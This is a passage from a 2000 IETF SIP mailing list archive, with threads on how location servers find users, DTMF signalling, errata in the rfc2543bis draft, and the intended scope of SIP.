09:48:45 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BFFD01.EA5D8BB0" Subject: [SIP] How to locate a user? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BFFD01.EA5D8BB0 Content-Type: text/plain; charset="iso-8859-1" Hi : In the RFC2543, there mentioned that A location server may use one or more other protocols to determine the end system where a user might be reachable, and return the several locations to SIP server. but I have three questions: A. Which location server does the SIP server contact with? Does the SIP server contact with one or more location server? B. How does the location server return a User address ? Is it a address of the User's or a SIP server's? C. If the location server always return more addresses of a User's because it might be reachable, then the SIP server also to contact with more addresses in order to find a user, it lead to waste the resourse and find user slow, is it a big problem using SIP? Does anyone give a answer ? thanks very much ! Bodgey 2000/8/3 ------_=_NextPart_001_01BFFD01.EA5D8BB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable How to locate a user?

Hi :
       = In the RFC2543, there mentioned that A location server may use one or = more other protocols to determine the end system where a user might be = reachable, and return the several locations to SIP server. but I have = three questions:

      A. = Which location server does the SIP server contact with? Does the SIP = server contact with one or more location server?

      B. How = does the location server return a User address ? Is it a address of the = User's or a SIP server's? 
      C. If = the location server always return more addresses of a User's because it = might be reachable, then the SIP server also to contact with more = addresses in order to find a user, it lead to waste the resourse and = find user slow, is it a big problem using SIP? 

       = Does anyone give a answer ? thanks very much !

Bodgey
2000/8/3
       =

------_=_NextPart_001_01BFFD01.EA5D8BB0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 00:13:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA26769 for ; Thu, 3 Aug 2000 00:13:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 331204441A; Thu, 3 Aug 2000 00:13:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196]) by lists.bell-labs.com (Postfix) with ESMTP id BCF9A44407 for ; Thu, 3 Aug 2000 00:13:00 -0400 (EDT) Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174]) by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id XAA00761; Wed, 02 Aug 2000 23:15:58 -0500 Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0) id ; Wed, 2 Aug 2000 23:10:03 -0500 Message-ID: From: "Culpepper, Bert" To: Rohan Mahy , sip@lists.bell-labs.com Subject: RE: [SIP] DTMF discussion from WG meeting Date: Wed, 2 Aug 2000 23:10:02 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Rohan, Is eliminating a first party from subscribing to DTMF event too restrictive? I say this because I'd like to have the choice of either SUBSCRIBE or RFC 2833 (DTMF in RTP) as a first party. (I assume that by "first party" you mean an endpoint with both a signaling session and a media session with the other endpoint). You imply the other endpoint will support both sending DTMF events by NOTIFY and in RTP, maybe that's my interpretation problem :). I believe a SIP UA can be a "first party" initially in a call then become a "third party" by redirecting the other UA's media. Maybe I just need to understand the terms first and third party. Thanks, Bert > -----Original Message----- > From: Rohan Mahy [mailto:rohan@cisco.com] > Sent: Wednesday, August 02, 2000 1:41 PM > To: sip@lists.bell-labs.com > Subject: [SIP] DTMF discussion from WG meeting > > > Hi Folks, > > Below is a summary of one proposal for DTMF (basically what I said at the > mic today). > > - Terminals which *send audio* must be able to send and receive DTMF via > RTP. (If for no other reason, than PSTN interworking). > > - First-party applications which *receive audio*, must be able to receive > DTMF via RTP, because the sender may send their DTMF over RTP. > > - Third-party applications which want to find out about keypresses (IP > endpoints) or DTMF events (PSTN endpoints) of a party in a call, should > send a SUBSCRIBE to that party for dtmf-events. The third party may > request [using some kind of parameter (ex: ";silent" or ";private")] that > DTMF is not sent via RTP during this subscription. Otherwise the first > party still sends DTMF to its audio peers using RTP. > > Applications of the "silent" parameter would be private signalling to > calling card things, to conference control services, etc. > > - Alternatively a third party MAY send a script/document/application (ex: > VoXML doc) to an endpoint to run, which could result in other SIP > messages//notifies, etc. This script/doc/app MAY trap DTMF locally (and > silently). > > - A first-party MAY NOT subscribe to dtmf-events, but MAY trap DTMF based > on a local script/app/doc. > > Key here was the difference between a first party participant and a third > party participant. > > Thoughts? > > thanks, > -rohan > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 00:21:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA29351 for ; Thu, 3 Aug 2000 00:21:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1E41144416; Thu, 3 Aug 2000 00:21:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 16F27443CE for ; Thu, 3 Aug 2000 00:21:31 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id JAA03304 for ; Thu, 3 Aug 2000 09:52:14 +0530 (IST) Received: from sung17.sasi.com ([10.0.64.17]) by sasi.com; Thu, 03 Aug 2000 09:52:13 +0000 (IST) Received: from pcg153 (pcg153.sasi.com [10.0.64.153]) by sung17.sasi.com (8.9.3/8.9.3) with SMTP id JAA27766 for ; Thu, 3 Aug 2000 09:52:07 +0530 (IST) Message-ID: <005301bffd02$29571cc0$9940000a@sasi.com> From: "Srinath A" To: "siplist" References: <398871C2.186E70AB@cs.columbia.edu> Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Date: Thu, 3 Aug 2000 09:50:31 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, I would like to add in this context that once the instant messaging is in place, can it be used for sending static images in SIP? This pertains to the earlier issue on sending a variable bitrate, low frame rate video in parallel with the existing session. Whenever an entity wants to send a frame to the other end it merely sends a notification message with the body containing the jpeg image. I have a doubt regarding whether RPC mechanism can be used for the same purpose as controlling networked appliances from a wide area network. Do existing RPC mechanisms have User location facilities? What about authentication? My personal opinion is that RPC could be used within the home domain and not outside it. Comments? Srinath A Silicon Automation Systems Ltd Bangalore India. Ph: +91-80-5276100/108 Ext 4220. Company: www.sasi.com Home: www.geocities.com/srinath_tvpm > Ben Campbell wrote: > > > > I have a general comment on the "Networked Appliances" draft. > > > > It seems to me that SIP is not an appropriate protocol for this purpose. It > > falls into the category of using SIP for an RPC mechanism. It is not clear > > to me how the primary features that distinguish SIP from something like HTTP > > (finding location, mobility, etc) are needed for a networked appliance > > protocol. > > > > It is entirely possible I am missing something here. If so, please enlighten > > me. > > > > Thanks! > > > > Ben Campbell > > dynamicsoft > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 04:25:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA14936 for ; Thu, 3 Aug 2000 04:25:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9B2C344379; Thu, 3 Aug 2000 04:25:11 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 7EEBA44337 for ; Thu, 3 Aug 2000 04:25:04 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id JAA05585; Thu, 3 Aug 2000 09:22:15 +0100 (BST) From: "Jo Hornsby" To: "Bodgey Yin Shaohua" , Subject: RE: [SIP] How to locate a user? Date: Thu, 3 Aug 2000 09:22:15 +0100 Message-ID: <000401bffd23$ee899560$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 In-Reply-To: <71B7F3690749D411A261000629AE2C6508B417@mail.in.huawei.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > In the RFC2543, there mentioned that A location server may > use one or more other protocols to determine the end system where > a user might be reachable, and return the several locations to > SIP server. but I have three questions: > > A. Which location server does the SIP server contact with? > Does the SIP server contact with one or more location server? This is purely an implementation issue. Section 1.4.5 (RFC or bis) specifies that a Location Server may use various other protocols such as LDAP to find a user. Sitting one "Location Server" in front of each protocol, and querying multiple Location Servers is indistinguishable from sitting the Behemoth Location Server in front of many protocols, and only querying one [the Behemoth] Location Server. In fact, like all things, a "Location Server" is a logical role, so one could concede that using multiple "Location Servers" is really only using one Location Server that happens to talk to other types of Location Server. > B. How does the location server return a User address ? Is > it a address of the User's or a SIP server's? (I'm assuming by "SIP server" you mean a proxy or redirect server, here; in general, any entity that receives requests is a SIP Server.) That does not matter, and in practice, you're never going to know. For instance, it is not hard to conceive a proxy that serves a company that has two distinct sites, A and B. A is the primary site, so all SIP traffic for the company first goes to a proxy situated at A. The proxy at A talks to a location server that knows where employees can be found. If the employee is located at site A, the location server will return the address of the employee's SIP 'phone; if the employee is located at site B, the location server will return the address of a different proxy that serves site B. Therefore, in some cases a Location Server is returning the ultimate UA address, and in other cases, it is returning the address of a proxy that is better suited to handling the request. > C. If the location server always return more addresses of a > User's because it might be reachable, then the SIP server also to > contact with more addresses in order to find a user, it lead to > waste the resourse and find user slow, is it a big problem using SIP? A location server may return zero or more results for a URI lookup. Note that however many results it returns, user location need not be any slower if the search is done in parallel. And yes, it could be wasteful, if the URI mapped to tens or hundreds or thousands (yada, yada) of possible locations. However, in practise, this is unlikely to be the case. In the Grander Scheme of things, how many contact telephone numbers does a person typically have? HTH, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 05:10:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA29047 for ; Thu, 3 Aug 2000 05:10:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7F10344355; Thu, 3 Aug 2000 05:09:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 6CD9244337 for ; Thu, 3 Aug 2000 05:09:02 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e739A9q05149 for ; Thu, 3 Aug 2000 14:40:12 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 65256930.0032D120 ; Thu, 3 Aug 2000 14:45:03 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: sip@lists.bell-labs.com Message-ID: <65256930.0032D0A6.00@sampark.hss.hns.com> Date: Thu, 3 Aug 2000 14:45:01 +0530 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Subject: [SIP] Further queries on SIP Draft Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, had some further queries on the SIP rfc2543bis Draft Maybe some of these were reported before - if so pls ignore. *) The link on the SIP Site mentions the draft date as Jul 17th, downloading it shows a date of Jul 13th on the draft (PDF) *) Page 19, in description of telephone-subscriber uses %x HEX HEX notation instead of % HEX HEX (I guess this would have been corrected in Jul 17 version ?) *) Table 4, page 35 puts Content-Language header as "m" for all messages. I dont think this is true. The HTTP draft (which is referred to by the SIP draft) also marks it as optional. *) Draft says Contact header is mandatory for INVITE. Table shows 'o' *) Page 13, point 7, line 2 : s/preent/present *) Page 39, Alert-Info grammar still has strange characters (I think someone reported this on Call-Info header too some time ago) *) Page 14 & Page 27: Page 14 says: "A successful SIP invitation consists of two requests, INVITE followed by ACK.TheINVITE (Section 4.2.1) request asks the callee to join a particular conference or establish a two-party conversation. After the callee has agreed to participate in the call, the caller confirms that it has received that response by sending an ACK (Section 4.2.2) request. If the caller no longer wants to participate in the call, it sends a BYE request instead of an ACK." while Page 27 says "A BYE request from either called or calling party terminates any pending INVITE at a UA, but the INVITE request transaction MUST be completed with a final response and ACK." It seems while the former suggests that ACK can be replaced by BYE, the latter mandates the ACK. Is this an mis-inerpretation of the text on my part ? *) Finally, just out of interest (not any comment as such): In page 36, Table 5, Record-Route interest, 2xx is written instead of 200. Is anoyone out there using any 2xx class response besides 200 OK ? ( I saw the others in the HTTP draft like 201-206) Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 05:40:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06941 for ; Thu, 3 Aug 2000 05:40:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6FD7C44379; Thu, 3 Aug 2000 05:40:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id C38C044337 for ; Thu, 3 Aug 2000 05:40:11 -0400 (EDT) Received: from esealnt409.al.sw.ericsson.se (esealnt409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e739eAp27770 for ; Thu, 3 Aug 2000 11:40:10 +0200 (MEST) Received: from SMTP ([153.88.251.32]) by esealnt409.al.sw.ericsson.se with Microsoft SMTPSVC(5.0.2172.1); Thu, 3 Aug 2000 11:40:10 +0200 Received: from esealnt743.al.sw.ericsson.se ([153.88.251.13]) by 153.88.251.32 (Norton AntiVirus for Internet Email Gateways 1.0) ; Thu, 03 Aug 2000 09:40:09 0000 (GMT) Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Thu, 3 Aug 2000 11:40:06 +0200 Message-ID: <56E7307B0850D411B1480008C75DD5EAB73C1A@enlrynt303.dsn.ericsson.se> From: "Arnoud van Wijk (ETM)" To: "'SIP'" Date: Thu, 3 Aug 2000 11:38:43 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="ISO-8859-1" X-OriginalArrivalTime: 03 Aug 2000 09:40:10.0206 (UTC) FILETIME=[D0BD67E0:01BFFD2E] Subject: [SIP] What do we want with SIP? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Scott Petrack's message indeed made me realise that to my impression we all are not really sure on what the duty for SIP will be. A real danger what is possibly going to happen is that we all want to add headers and other extensions to SIP, that before we realise, SIP will act like a fat pregnant elephant instead of a sleek and fast gazelle. SIP is indeed very good at Initiating a Session, and then hand it off to a different protocol. Like RTP or RSVP etc. Preconditions set in the header will also be a good idea, but for exactly which protocols? In fact, what do we plan to use SIP for? We all have a different idea what we want SIP to do for ourselves. I am not immune either. Maybe it is a very good idea to form a consensus on what we want SIP to do for us. Do we want SIP for: Only IP-telephony? Also Multimedia IP sessions on 1. a computer, 2 a mobile digital board (PIM/PDA/WAP/UMTS phone etc)? Do we want home appliances and other machines be able to send us info via SIP? Do we want to send instant messaging via SIP? Do we want SIP to track mobility of the user? Do we want to use SIP to handle the AAA services? (Billing of network usage and QoS and the service from content providers, like a database search or keeping track of the IP session duration and the amount of data passing through the UAs used for the session)? With good planning, many of those tasks can overlap each other. If we try to make a list of what the required duties of SIP are and what can be handed off to the protocol that SIP is initiating the session for. Then we can really define which headers are really necessary for SIP (like the media type and language , and which headers will just refer to the preconditions of the handed off protocol ). With our combined visions, we should be able to do this. The ideal to obtain is publish it once and then many years without any new versions of SIP. While the possebilities of SIP continue to expand (at application level). Also, when we know which protocols are required to team up with SIP, we will get those protocols also finished and ready for use. Future protocols should be easily be added to SIP in the Content-Type header (draft-ietf-sip-rfc2543bis-00). So that most future changes will be on UAs level on how to process the offered protocols, instead of how to send/receive and read/write/understand SIP messages. Well those were my 2 Euro cents. This mail is not intended to show any disrespect nor to discard all the efforts. I just hope to have all of us team up and sail in ONE direction. Arnoud _______________________________________________________________ ERICSSON TELECOMMUNICATIE BV Arnoud van Wijk Research & Development ETM/BL/RE Fax: +31-161 247569 _______________________________________________________________ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 05:49:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08959 for ; Thu, 3 Aug 2000 05:49:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B7D134438C; Thu, 3 Aug 2000 05:49:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchange01.iirltd.co.uk (unknown [193.133.64.178]) by lists.bell-labs.com (Postfix) with ESMTP id 56D6744385 for ; Thu, 3 Aug 2000 05:49:48 -0400 (EDT) Received: by exchange01.iirltd.co.uk with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Aug 2000 10:49:36 +0100 Message-ID: From: Claire Tranah To: "'sip@lists.bell-labs.com'" Date: Thu, 3 Aug 2000 10:49:25 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] SIP - Research Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I am hoping that someone can ehlp me I am putting together an agenda for a workshop on SIP which will run along side a conference on all-IP mobile networks. What topics hsould be included in such a workshop and do you know of anyone who might be interested in leading such a workshop. Pease contact me for more details. Thanks Claire Tranah Telecoms and Technology IIR Ltd tel. +44 (0) 20 7915 5097 email: ctranah@iir-conferences.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 06:46:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA21104 for ; Thu, 3 Aug 2000 06:46:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 260E04438D; Thu, 3 Aug 2000 06:46:01 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19]) by lists.bell-labs.com (Postfix) with ESMTP id 5A4D244337 for ; Thu, 3 Aug 2000 06:45:55 -0400 (EDT) Received: from zhard00m.europe.nortel.com (actually zhard00m) by qhars002.nortel.com; Thu, 3 Aug 2000 11:33:32 +0100 Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2652.35) id ; Thu, 3 Aug 2000 11:33:31 +0100 Message-ID: <61ABD11436FED21192440000F81F3E3602BE68D0@nwcwi1a.europe.nortel.com> From: "Michael O'Doherty" To: "'Jonathan Rosenberg'" , confctrl@isi.edu, sip Subject: RE: [SIP] [Fwd: notes from the IETF SIP & SDP] Date: Thu, 3 Aug 2000 11:33:28 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BFFD36.42F3D2C0" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BFFD36.42F3D2C0 Content-Type: text/plain; charset="iso-8859-1" Hi, Can someone explain for those of us that were not there, what at a high level were the controversial parts of the TIPHON WG SDP presentation and what the basic objections to the proposal were. I didn't really get a proper feel for the issue from the slides or the forwarded email. Thx, Mick O'Doherty Nortel Networks. -----Original Message----- From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] Sent: 03 August 2000 04:47 To: confctrl@isi.edu; sip Subject: [SIP] [Fwd: notes from the IETF SIP & SDP] -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com ------_=_NextPart_001_01BFFD36.42F3D2C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [SIP] [Fwd: notes from the IETF SIP & SDP]

Hi,

Can someone explain for those of us that were not = there, what at a high level were the controversial parts of the TIPHON = WG SDP presentation and what the basic objections to the proposal were. = I didn't really get a proper feel for the issue from the slides or the = forwarded email.

Thx,

Mick O'Doherty
Nortel Networks.

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
Sent: 03 August 2000 04:47
To: confctrl@isi.edu; sip
Subject: [SIP] [Fwd: notes from the IETF SIP & = SDP]



--
Jonathan D. = Rosenberg          &nb= sp;            = 72 Eagle Rock Ave.
Chief = Scientist          &nb= sp;           &nb= sp;      First Floor
dynamicsoft        &nbs= p;           &nbs= p;            = East Hanover, NJ 07936
jdrosen@dynamicsoft.com      &nbs= p;           &nbs= p;  FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen  &nb= sp;      PHONE: (732) 741-7244
http://www.dynamicsoft.com

------_=_NextPart_001_01BFFD36.42F3D2C0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 06:57:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23419 for ; Thu, 3 Aug 2000 06:57:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A773F4437B; Thu, 3 Aug 2000 06:56:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id D94AA44337 for ; Thu, 3 Aug 2000 06:56:26 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id QAA20586 for ; Thu, 3 Aug 2000 16:27:04 +0530 (IST) Received: from sung17.sasi.com ([10.0.64.17]) by sasi.com; Thu, 03 Aug 2000 16:26:56 +0000 (IST) Received: from pcg153 (pcg153.sasi.com [10.0.64.153]) by sung17.sasi.com (8.9.3/8.9.3) with SMTP id QAA02821 for ; Thu, 3 Aug 2000 16:23:29 +0530 (IST) Message-ID: <00fc01bffd38$d317a000$9940000a@sasi.com> From: "Srinath A" To: "siplist" References: <56E7307B0850D411B1480008C75DD5EAB73C1A@enlrynt303.dsn.ericsson.se> Subject: Re: [SIP] What do we want with SIP? Date: Thu, 3 Aug 2000 16:21:48 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi all, In my opinion, the fact that SIP is being extended to incorporate functions other than Session Initiation, need not be one that has a negative impact. The reason for this is that all these extensions add features to the protocol that are relevant to a particular service, like say IM, in a manner which does not affect the operation of other functions. Many of these extensions probably make use of the User location and authentication facilities offered by SIP in order to achieve their goals. All the specific processing takes place in the end points, which are configured to particular needs. If an end point does not support the MESSAGE method then it rejects it. Another UA will probably take care of IM only. The network components should take care of routing in an extension independent fashion.All extensions should place least requirements on these elements. These rules should ensure interoperability among devices with varying capabilities. A suggestion: Is there harm in trying to incorporate MGCP functionality into SIP using the presence and IM extensions, similar to the control of NA's ? :-) Comments? Regards, Srinath A Silicon Automation Systems Phone: 5276100, 5276108 extn 4220 #1309, 10th Main, HAL III Stage Bangalore 560 008, India Company Home: www.sasi.com Home: http://www.geocities.com/srinath_tvpm ----- Original Message ----- From: Arnoud van Wijk (ETM) To: 'SIP' Sent: Thursday, August 03, 2000 3:08 PM Subject: [SIP] What do we want with SIP? > Scott Petrack's message indeed made me realise that to my impression we all are not really sure on what the duty for SIP will be. > A real danger what is possibly going to happen is that we all want to add headers and other extensions to SIP, that before we realise, SIP will act like a fat pregnant elephant instead of a sleek and fast gazelle. > > SIP is indeed very good at Initiating a Session, and then hand it off to a different protocol. Like RTP or RSVP etc. Preconditions set in the header will also be a good idea, but for exactly which protocols? > > In fact, what do we plan to use SIP for? We all have a different idea what we want SIP to do for ourselves. I am not immune either. > Maybe it is a very good idea to form a consensus on what we want SIP to do for us. > Do we want SIP for: > Only IP-telephony? > Also Multimedia IP sessions on 1. a computer, 2 a mobile digital board (PIM/PDA/WAP/UMTS phone etc)? > Do we want home appliances and other machines be able to send us info via SIP? > Do we want to send instant messaging via SIP? > Do we want SIP to track mobility of the user? > Do we want to use SIP to handle the AAA services? (Billing of network usage and QoS and the service from content providers, like a database search or keeping track of the IP session duration and the amount of data passing through the UAs used for the session)? > > With good planning, many of those tasks can overlap each other. > > If we try to make a list of what the required duties of SIP are and what can be handed off to the protocol that SIP is initiating the session for. > Then we can really define which headers are really necessary for SIP (like the media type and language , and which headers will just refer to the preconditions of the handed off protocol ). > With our combined visions, we should be able to do this. > The ideal to obtain is publish it once and then many years without any new versions of SIP. While the possebilities of SIP continue to expand (at application level). > > Also, when we know which protocols are required to team up with SIP, we will get those protocols also finished and ready for use. > Future protocols should be easily be added to SIP in the Content-Type header (draft-ietf-sip-rfc2543bis-00). > So that most future changes will be on UAs level on how to process the offered protocols, instead of how to send/receive and read/write/understand SIP messages. > > Well those were my 2 Euro cents. > This mail is not intended to show any disrespect nor to discard all the efforts. I just hope to have all of us team up and sail in ONE direction. > > Arnoud > _______________________________________________________________ > ERICSSON TELECOMMUNICATIE BV > Arnoud van Wijk > Research & Development > ETM/BL/RE > Fax: +31-161 247569 > _______________________________________________________________ > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 07:54:54 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org 